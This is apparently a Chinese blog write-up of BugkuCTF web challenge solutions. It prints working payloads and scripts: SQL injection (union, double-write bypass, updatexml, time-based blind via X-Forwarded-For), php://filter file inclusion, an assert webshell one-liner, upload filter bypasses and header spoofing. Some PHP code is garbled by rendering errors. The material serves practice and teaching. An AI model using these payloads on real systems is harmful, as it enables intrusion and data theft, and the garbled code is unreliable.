BUGkuCTF

BUGkuCTF

(一)WEB

(1)web2

进入环境,首先看源码,在里面直接找到flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-97sg5F09-1593143273882)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image002.gif)]

(2)计算器

首先输入数字发现只能输入1个,所以F12去修改源码,将maxlength修改,然后填入正确数字即可出现flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-94rvWj0o-1593143273885)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image004.gif)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ou0ZIKoK-1593143273887)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image006.gif)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6vwcZ12J-1593143273890)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image008.gif)]

(3)$_get

看到题目就知道这是对http的请求方法,进入环境分析所给的Php代码,意思为当what=flag时,echo flag{}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Tws75xXF-1593143273893)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image010.gif)]

所以直接在地址栏添加(?what=flag)或者是抓包修改头提交都可以

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lpQeUUnL-1593143273894)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image012.gif)]

最后显示出flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5Clez75J-1593143273896)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image014.gif)]

(4)$_post

看题目和上一道是一样的也是对http的请求方法,但是post不能使用?what=flag这样的方式提交数据,所以使用hackbar进行提交

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QmFS6cEl-1593143273897)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image016.gif)]

(5)矛盾

发现代码里有is_numeric这个函数不认识,又百度这个函数的具体作用,这个函数的作用是检测输入的是否为数字或者字符串,所以构造payload绕过这个函数num=1e0.1(num既不能是数字字符,但是要等于1,我们可以想到用科学计数法表示数字1,既不是纯数字,其值又等于1)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oedJmn5Z-1593143273898)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image018.gif)]

修改提交显示flag。

(6)web3

页面除了弹框就没有其他的东西了,所以直接看源码,然后看见最后一行串字符像加密了,试试解密。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-l4DwPGvz-1593143273899)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image020.gif)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rsKOTd38-1593143273900)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image022.gif)]

发现flag

(7)域名解析

题目已经提示了,所以修改本地host文件

C:\Windows\System32\drivers\etc\hosts

添加 123.206.87.240 flag.baidu.com

最后访问flag.baidu.com就爆出flag了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yo6gK0iW-1593143273904)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image024.gif)]

(8)你必须让他停下

进来提示必须让页面停下,页面中的图片一直在刷新,先看源码,发现当有图片出现时源码会显示,所以使用burpsuite抓包,让页面暂停。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JZZhoB9X-1593143273907)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image026.gif)]

然后发现flag

*(10)变量1

代码审计题,代码最后一句有两个KaTeX parse error: Can't use function '$' in math mode at position 22: …变变量,能够改变某一变量的值如$̲args的值是另一个变量的变量…args就代表另一个变量。所以我们就给args赋值一个变量名,那么PHP的九大全局变量,一个一个试。 $_POST [用于接收post提交的数据] $_GET [用于获取url地址栏的参数数据] $_FILES [用于文件就收的处理img 最常见] $_COOKIE [用于获取与setCookie()中的name 值] $_SESSION [用于存储session的值或获取session中的值] $_REQUEST [具有get,post的功能,但比较慢] SERVER[是预定义服务器变量的一种,所有SERVER[是预定义服务器变量的一种,所有_SERVER [是预定义服务器变量的一种,所有_SERVER开头的都 $GLOBALS [一个包含了全部变量的全局组合数组] $_ENV [ 是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它],所以构造出payload(?args=GLOBALS)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mUDPe6Ui-1593143273910)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image028.gif)]

(11)web5

输入任何东西都是在看看,所以查看源码发现jother(jsfuck),用F12的控制台提交,显示出flag但是全部要大写

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1BJU5yYl-1593143273912)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image030.gif)]

“+[]”, //0 “+!![]”, //1 “!![]+!![]”, //2 “!![]+!![]+!![]”, //3 “!![]+!![]+!![]+!![]”, //4 “!![]+!![]+!![]+!![]+!![]”, //5 “!![]+!![]+!![]+!![]+!![]+!![]”, //6 “!![]+!![]+!![]+!![]+!![]+!![]+!![]”, //7 “!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]”, //8

(12)头等舱

查看源码什么都没有,所以burpsuite抓包分析,但是也没有内容,放进重发器里面跑找到flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-twNG0VU1-1593143273914)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image032.gif)]

(13)网站被黑

首先看源码和抓包都没有东西,分析一下内容和地址webshell,所以可能是有后台,用御剑跑一下。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6oCq7Xbv-1593143273915)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image034.gif)]

跑出一个shell.php,发现需要登陆,用爆破。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mttiIyyt-1593143273919)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image036.gif)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k8CxKxOD-1593143273920)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image038.gif)]

(14)管理员系统

随便输入了信息,ip被禁止访问,然后查看源代码发现有一串加密编码,解密后为test123所以可能是管理员密码,但是Ip无法访问所以修改X-Forwarded-For这个头实现绕过Ip限制。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IZiYhBMT-1593143273921)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image040.gif)]

(15)web4

进来就提示查看源代码,发现两串很长的加密编码,然后解密

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FhMU1GSo-1593143273922)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image042.gif)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-O1F4X6ly-1593143273923)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image044.gif)]

解码后发现这是一串代码。

在源码中第11行的eval函数将p1和p2还有%35%34%61%61%32拼接。

function checkSubmit(){var a=document.getElementById(“password”);if(“undefined”!=typeof a){if(“67d709b2b54aa2aa648cf6e87a7114f1”==a.value)return!0;alert(“Error”);a.focus();return!1}}document.getElementById(“levelQuest”).οnsubmit=checkSubmit;

在代码中发现一句67d709b2b54aa2aa648cf6e87a7114f1=a.value,所以将67d709b2b54aa2aa648cf6e87a7114f1输入登陆框,flag显示出来。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3fZX1lF8-1593143273924)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image046.gif)]

(16)flag在index里

文件包含利用漏洞+php协议

php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字,filter,可以很容易想到这个协议可以用来过滤一些东西;

原理:利用php://filter协议读取文件

php://filter/read=convert.base64.encode/resource=index.php

这句话的意思是我们用base64编码的方式来读文件index.php;这时页面会显示出源文件index.php经过base64编码后的内容,然后经过base64解码就可以看到flag;

payload

http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

输入构造的payload后,显示很长一串加密字符串

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E13V8s7u-1593143273925)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image048.gif)]

base64解码后flag出现

(17)输入密码查看flag

进来随便输入密码,查看源码,什么都没有直接上burpsuite爆破,而且地址栏里也已经暗示了

(19)备份是个好习惯

题目已经指出了备份,所以直接index.php.bak就找到了备份文件,打开备份文件看代码,

include_once “flag.php”; ini_set(“display_errors”, 0); s t r = s t r s t r ( str = strstr( str=strstr(_SERVER[‘REQUEST_URI’], ‘?’); s t r = s u b s t r ( str = substr( str=substr(str,1); s t r = s t r r e p l a c e ( ‘ k e y ’ , ” , str = str_replace(‘key’,”, str=strreplace(key,,str);这里是关键,能从这里绕过代码限制 parse_str( s t r ) ; e c h o m d 5 ( str); echo md5( str);echomd5(key1); echo md5( k e y 2 ) ; i f ( m d 5 ( key2); if(md5( key2);if(md5(key1) == md5($key2) && $key1 !== $key2){ echo $flag.”取得flag”; } ?>

整段代码的意思是将get的两个参数中的key替换为空(这里可以用kkeyey绕过),然后对key1,key2的值进行md5加密,并进行比较,

如果md5加密的值一样而未加密的值不同,就输出flag,所以构造Payload:

http://123.206.87.240:8002/web16/?kkeyey1[]=123&kkeyey2[]=456

md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。

*(20)查看成绩单

(1)直接sqlmap跑,爆出skctf_flag数据库

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NnCdeFHf-1593143273926)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image050.gif)]

继续报表名

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zAinHAnd-1593143273927)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image052.gif)]

列名

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u8wCY3ci-1593143273928)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image054.gif)]

爆出flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kbtESlnQ-1593143273929)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image056.gif)]

(2)手工注入

首先判断注入点,看回响,使用order by

1’ order by 1# 1’ order by 2# 1’ order by 3# 1’ order by 4#1’ order by 5#在5时没有回响,所以字段为4

然后联合查询union爆数据库

id=-1’ union select 1,2,3,database()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yClzAU8y-1593143273930)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image058.gif)]

id=-1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆出表名

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q0yOt8ZJ-1593143273932)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image060.gif)]

爆出列名

id=-1’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467# 要16进制绕过

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jcsUNetc-1593143273933)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image062.gif)]

爆出flag

id=-1’ union select 1,2,3,skctf_flag from fl4g#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3u4MQrue-1593143273934)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image064.gif)]

*(21)秋名山车神

这一题需要写脚本

import requests import re //导入re库,作用是正则表达式 url = ‘http://123.206.87.240:8002/qiumingshan/’ //目标地址 se = requests.session() //保持请求参数 response = se.get(url) response.encoding = ‘UTF-8’ # print(response.text) r = ‘

(.*)=/?’ result = re.findall(r,response.text) # print(result) num = eval(result[0]) //字符串转代码 # print(num) data = {‘value’: num} response2 = se.post(url, data=data) response2.encoding = 'UTF-8’print(response2.text)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SVqNE2UW-1593143273936)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image066.gif)]

(22)速度要快点

这题就有点坑,刚开始看代码没有什么发现,于是去抓包看看,在重发器里发现了flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RwuXGU9w-1593143273937)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image068.gif)]

用base64解码提交,说flag错误试了很多次都错,所以想到提示需要快点,这flag一直在变,只能写脚本跑

import requests import base64 url=“http://120.24.86.145:8002/web6/” r=requests.session() headers=r.get(url).headers#因为flag在消息头里 mid=base64.b64decode(headers[‘flag’]) mid=mid.decode()#为了下一步用split不报错,b64decode后操作的对象是byte类型的字符串,而split函数要用str类型的 flag = base64.b64decode(mid.split(’:’)[1])#获得flag:后的值 data={‘margin’:flag} print (r.post(url,data).text)#post方法传上去

然后得到flag!!!!!!!

(23)cookie欺骗

首先看源码,没有可用信息,然后抓包分析也没有可用信息,看到地址栏中有一串加密编码,解密得到keys.txt,将index.php转换成base64,改变地址栏中Line的数值,源码每一次都不一样。

由此得知需要遍历

import requests a = 40 for i in range(a): url = ‘http://120.24.86.145:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw=’ % i r = requests.get(url) print r.text

跑出来的网页源代码

<?php error_reporting(0); $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); $line=isset($_GET['line'])?intval($_GET['line']):0; if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); $file_list = array( '0' =>'keys.txt', '1' =>'index.php', ); if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ $file_list[2]='keys.php'; } if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; } ?>

由源码可知需要将keys.php 转为base64替换原来的index.php 然后将cookie设置为margin=margin,即可得到flag。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GDWXWxED-1593143273938)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image070.gif)]

(24)never give up

首先看源码,找到1p.html,将页面修改发现跳转到bugku.com的论坛,然后看跳转后的源码,发现一串加密编码,总共加密3次,第一次用url解码,然后base64,然后又用url解码,解码后发现一串代码

";if(!$_GET[‘id’]) { header(‘Location: hello.php?id=1’); exit(); } i d = id= id=_GET[‘id’]; a = a= a=_GET[‘a’]; b = b= b=_GET[‘b’]; if(stripos($a,’.’)) { echo ‘no no no no no no no’; return ; } d a t a = @ f i l e g e t c o n t e n t s ( data = @file_get_contents( data=@filegetcontents(a,‘r’); if($data==“bugku is a nice plateform!” and i d = = 0 a n d s t r l e n ( id==0 and strlen( id==0andstrlen(b)>5 and eregi(“111”.substr( b , 0 , 1 ) , " 1114 " ) a n d s u b s t r ( b,0,1),"1114") and substr( b,0,1),"1114")andsubstr(b,0,1)!=4) { require(“f4l2a3g.txt”); } else { print “never never never give up !!!”; } ?>

在代码中发现f412a3g.txt这个文件,访问文件得到flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cK3fh2D1-1593143273940)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image072.gif)]

(26)过狗一句话

解题方法是对目录读取,然后根据所给的提示获取flag

<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>

要点:scandir()函数、assert代码执行漏洞

构造payload:?s=print_r(scandir(’./’)) //print_r() 可以打印出复杂类型变量的值(如数组,对象)

!!!!!!!!flag被人删除!!!!!!!!!

我还以为是作者恶作剧故意写的!!!!!!!

*(27)字符?正则?

进来给的代码

<?php highlight_file('2.php'); $key='KEY{********************************}'; $IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match); if( $IM ){ die('key is: '.$key); } ?>

preg_match (要搜索的模式,字符串,参数) 在字符串里搜索符合 要搜索的模式 的字符,并返回给参数。

trim(字符串,字符) 移除字符串两侧的空白字符或其他预定义字符。

“/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]]/i”

一。先看最外边的//i,//代表定界符,你限定的条件都在这个定界符里面,i是不区分大小写 二。来看 /key 首先就是得有key这三个字母,不一定是一开始就是key ?id=key 三。 /key.* 这里的.是可以匹配任何字符,所以你随便打个就行,我这里打的a,又因为后边有个 *(匹配前边的字母0次或者多次),所以你可以继续多打几个啊或者不打 ?id=keyltz 四。/key.*key, 继续分析,多加了个key, ?id=keyltzkey,继续往后 /key.*key.{4,7} 代表任意匹配一个字符并且出现4-7次,那就打四个a好了 (这个只要是有4个到7个重复字母就行) ?id=keyltzkeyllll 五。/key.*key.{4,7}key: 加上 key: ?id=keyltzkeyllllkey: 六:/key.*key.{4,7}key:/./ \代表了转义,所以/不在代表了界定符,直接看成/./ 所以/l/即可, ?id=keyltzkeyllllkey:/l/ 七:/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]] (.*key) => akey [a-z]代表随便一个小写字母,a就可以,后边那个是标点符号,比如, ?id=keyltzkeyllllkey:/l/lkeyl, ?id=keyltzkeyllllkey:/l/lkeyl,

最后构造的payload为:(?id=keyltzkeyllllkey:/l/lkeyl,)

(28)前女友(skctf)

根据链接找到代码

<?php if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; if($v1 != $v2 && md5($v1) == md5($v2)){ if(!strcmp($v3, $flag)){ //strcmp用于比较字符串的函数 echo $flag; } } } ?> /// strcmp() int strcmp ( string $str1 , string $str2 ) 参数 str1第一个字符串。str2第二个字符串。 如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0; 如果两者相等,返回 0。 ///

分析代码得知,v1和v2两个值不能相等,但是经过md5加密后却要相等,且v3要和flag相等,所以可以可以通过PHP处理0e开头md5时hash字符串漏洞构造【https://blog.csdn.net/dyw_666666/article/details/82348564】

构造Payload:index.php?v1[]=QLTHNDT&v2[]=UTIPEZQ&v3[]=EEIZDOI

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k31YY8TG-1593143273944)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image074.gif)]

(29)login

根据提示得知(约束SQL注入的原理就是利用的约束条件,比如最长只能有15个字符的话,如果你输入的是abcdefghijklmnop(16位),那么保存在数据库里的就是abcdefghijklmno,那么别人用abcdefghijklmno注册一个用户名,就可以登陆。

1、sql处理字符串时(一般是在比较字符串时),会自动删去末尾多余的空格,这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。这一点,对于where和insert语句是成立的,对于like语句无效。

也就是说,"admin"和"admin "是等效的。因此,用where id="admin"查询和用where id="admin "查询的结果相同。

2、SQL中varchar(n)用于限制最大长度,若字符串长度大于n,则只截取前n个字符。如果用varchar(5)限制了insert查询的最大长度,则插入"admin"和"admin “,最终都会得到"admin”,因此查询"admin "得到的结果是"admin"的信息。

因此,可以利用这个漏洞来绕过。)

方法:若注册时已知admin这个用户名存在,则我们可以注册admin这个用户名,密码自定,然后登录时用刚刚注册的用户名和密码即可得到真实的想要的admin信息或权限。

(30)你从哪里来

页面显示are you from google,所以伪造从google访问过来的就可以得到flag,需要修改 Referer。

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer, 告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。 简而言之,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候, 一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器藉此可以获得一些信息用于处理。 比如从我主页上链接到一个朋友那里,他的服务器就能够从HTTP Referer中统计出每天有多少用户点击我主页上的链接访问他的网站。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CWLGDum7-1593143273945)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image076.gif)]

(31)md5 collision

打开网页提示input a 所以在地址输入?a,页面返回false,改为其他的则显示please input a,又试了试?a=1、a=2都返回false,且根据题目名字判断这题是MD5碰撞,所以随便找到常用的碰撞md5值就获得了flag。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QWS2Lr8K-1593143273949)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image078.gif)]

(32)程序员本地网站

根据提示,所以本题只需要修改http头为本地Ip就可获得flag

开启burpsuite,然后修改X-Forwarded-For:127.0.0.1

X-Forwarded-For: 简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5VPCLhKi-1593143273951)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image080.gif)]

(33)各种绕过

sha1碰撞?

<?phphighlight_file('flag.php'); $_GET['id'] = urldecode($_GET['id']); $flag = 'flag{xxxxxxxxxxxxxxxxxx}';if (isset($_GET['uname']) and isset($_POST['passwd'])) { if ($_GET['uname'] == $_POST['passwd']) print 'passwd can not be uname.'; else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) die('Flag: '.$flag); else print 'sorry!'}?>

判断 uname 和 passwd 是否相等 之后 判断 sha1 加密过的 uname 和 pass 是否相等以及 id 是否等于 margin

1. get方式提交uname 和 id 值 ,post方式提交passwd值2. uname和passwd的哈希值相同3. id == “margin”解决1 get和post提交,方式1:火狐的HackBar,方式:python程序 。。。2 把uname和passwd定义成数组,数组的哈希值相同3 url传入时,令id=margin

使用hackbar

构造Payload: ?unmae[]=a&id[]=margin post data:passwd[]=b

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VIxEPuaZ-1593143273952)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image082.gif)]

(35)web8

页面提示txt,访问flag.txt,出现内容flags

<?php extract($_GET); if (!empty($ac)) { $f = trim(file_get_contents($fn)); if ($ac === $f) { echo "

This is flag:" ." $flag

"; } else { echo "

sorry!

"; } } ?>

分析代码,有两个变量&ac和&fn

file_get_contents( f n ) : f i l e g e t c o n t e n t s 功 能 是 从 文 件 名 为 “ fn):file_get_contents功能是从文件名为“ fn)filegetcontentsfn”的文件中读取数据,但是当$fn的值为“php://input”,它会接受并返回post的值

又根据提示页面的flags,所以可以使 a c 值 为 f l a g s , ac值为flags, acflagsfn值为flag.txt,使 a c 和 ac和 acf相等

然后构造payload: ?ac=flags&fn=flag.txt

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DqnxdxTk-1593143273954)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image084.gif)]

(36)细心

首先看提示,变成admin,然后在robots.txt中找到一串代码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-guQz3S5e-1593143273955)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image086.gif)]

根据提示admin,构造Payload:?x=admin

(37)求getshell

后缀黑名单检测和类型检测

根据大佬的提示这题需要绕过三个地方

1、请求头部的 Content-Type:大小写绕过

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-v9djMtSf-1593143273956)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image088.gif)]

2、文件名后缀绕过:php5

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3BlS7yH4-1593143273957)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image090.gif)]

3、请求数据的Content-Type:image/png

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IPKiLa3m-1593143273959)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image092.gif)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yw0dnlqE-1593143273961)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image094.gif)]

*(38)insert into注入

题目给出了源码,

时间盲注,XXF,insert into 注入

error_reporting(0); function getIp(){ i p = ′ ′ ; i f ( i s s e t ( ip = '';if(isset( ip=;if(isset(_SERVER[‘HTTP_X_FORWARDED_FOR’])){$ip = KaTeX parse error: Double subscript at position 16: _SERVER['HTTP_X_̲FORWARDED_FOR']…ip = KaTeX parse error: Expected 'EOF', got '}' at position 24: …'REMOTE_ADDR'];}̲ip_arr = explode(’,’, $ip);return KaTeX parse error: Expected 'EOF', got '}' at position 11: ip_arr[0];}̲host=“localhost”; u s e r = " " ; user=""; user="";pass=""; d b = " " ; db=""; db="";connect = mysql_connect($host, $user, p a s s ) o r d i e ( " U n a b l e t o c o n n e c t " ) ; m y s q l s e l e c t d b ( pass) or die("Unable to connect");mysql_select_db( pass)ordie("Unabletoconnect");mysqlselectdb(db) or die(“Unable to select database”); i p = g e t I p ( ) ; e c h o ′ y o u r i p i s : ′ . ip = getIp();echo 'your ip is :'. ip=getIp();echoyouripis:.ip; s q l = " i n s e r t i n t o c l i e n t i p ( i p ) v a l u e s ( ′ sql="insert into client_ip (ip) values (' sql="insertintoclientip(ip)values(ip’)";

注入点为http头的X-Forwaded-For,但是这里的逗号被过滤,在过滤了逗号的情况下,我们就不能使用if语句了,在mysql中与if有相同功效的是

select case when (条件) then 代码1 else 代码 2 end;

而且由于逗号,被过滤,我们就不能使用substr、substring了,但我们可以使用:from 1 for 1,所以最终payload为:

127.0.0.1’+(select case when substr((select flag from flag) from 1 for 1)=‘a’ then sleep(5) else 0 end))– +

python脚本来跑flag:

import requests import sys # 基于时间的盲注,过滤了逗号 , sql = “127.0.0.1’+(select case when substr((select flag from flag) from {0} for 1)=’{1}’ then sleep(5) else 0 end))-- +” url = ‘http://123.206.87.240:8002/web15/’ flag = ‘’ for i in range(1, 40): print(‘正在猜测:’, str(i)) for ch in range(32, 129): if ch == 128: sys.exit(0) sqli = sql.format(i, chr(ch)) # print(sqli) header = { ‘X-Forwarded-For’: sqli } try: html = requests.get(url, headers=header, timeout=3) except: flag += chr(ch) print(flag) break

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mX0VmVOH-1593143273962)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image096.gif)]

最后几个猜测出的都是同一个,所以flag出来了

*(40)多次

要点:SQL注入绕过、双写绕过、报错注入

进入页面地址栏中有id=1,所以试了6个数,在第5个给出提示使用注入。

判断是否存在注入:id=1后面加单引号会报错,后面加–+注释返回正常,确定存在SQL注入

?id=1’or 1=1–+ 也报错,可能存在过滤,尝试双写绕过,?id=1’oorr 1=1–+ 返回正常

然后测试有什么被过滤,get一个新技能(异或注入,两个条件相同(同真或同假)即为假)

?id=1’^(length(‘union’)!=0)–+

如果返回页面显示正常,那就证明length(‘union’)==0的,也就是union被过滤了

同理测试出被过滤的字符串有:and,or,union,select

都用双写来绕过,payload如下:

?id=-1’ ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()–+

爆表

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pqjgbj7N-1593143273962)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image098.gif)]

爆字段

?id=-1’ ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_name=‘flag1’–+

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-K7yRNo7N-1593143273963)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image100.gif)]

爆数据

http://120.24.86.145:9004/1ndex.php?id=-1’ ununionion seselectlect 1, group_concat(flag1) from flag1–+

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H57LpjuT-1593143273964)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image102.gif)]

这里提交不对,所以换个字段继续爆,然后进入下一关

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PLKsVrcy-1593143273965)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image104.gif)]

根据大佬提示这里利用 updatexml() 函数报错注入

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

改变XML_document中符合XPATH_string的值

而我们的注入语句为:

updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

其中的 concat() 函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出

ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’

所以构造payload:

